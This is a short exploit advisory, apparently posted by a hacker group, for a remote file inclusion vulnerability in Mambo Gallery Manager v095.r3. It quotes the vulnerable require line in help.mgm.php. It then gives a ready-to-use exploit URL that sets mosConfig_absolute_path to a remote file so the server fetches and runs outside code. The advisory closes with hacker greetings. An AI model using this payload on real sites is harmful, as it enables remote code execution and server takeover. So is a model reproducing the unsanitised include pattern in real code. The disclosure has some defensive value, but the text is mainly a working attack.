----------------------------------------------------

Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities

----------------------------------------------------

Discovered By A-S-T TEAM

WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR

----------------------------------------------------

site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289

----------------------------------------------------

Vulnerable: Mambo Gallery Manager v095.r3(mgm)

----------------------------------------------------

vulnerable file :

------------------

help.mgm.php

----------------------------------------------------

vulnerable code:

----------------------------------------------------

require $mosConfig_absolute_path . "/administrator/components/com_mgm/diagnostics.mgm.php";

$mosConfig_absolute_path File inclusion

----------------------------------------------------

Exploit:

http://www.example.com/administrator/components/com_mgm/help.mgm.php?mos
Config_absolute_path=http://evalcode.txt

------------------------------------------------------------------------
----------------------------

Discovered By A-S-T TEAM

Site:www.lezr.com

Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL
,SNIPER_SA,ALMOKAN3,Broken-proxy ,troq AND ALL LEZR.COM Member

[ reply ]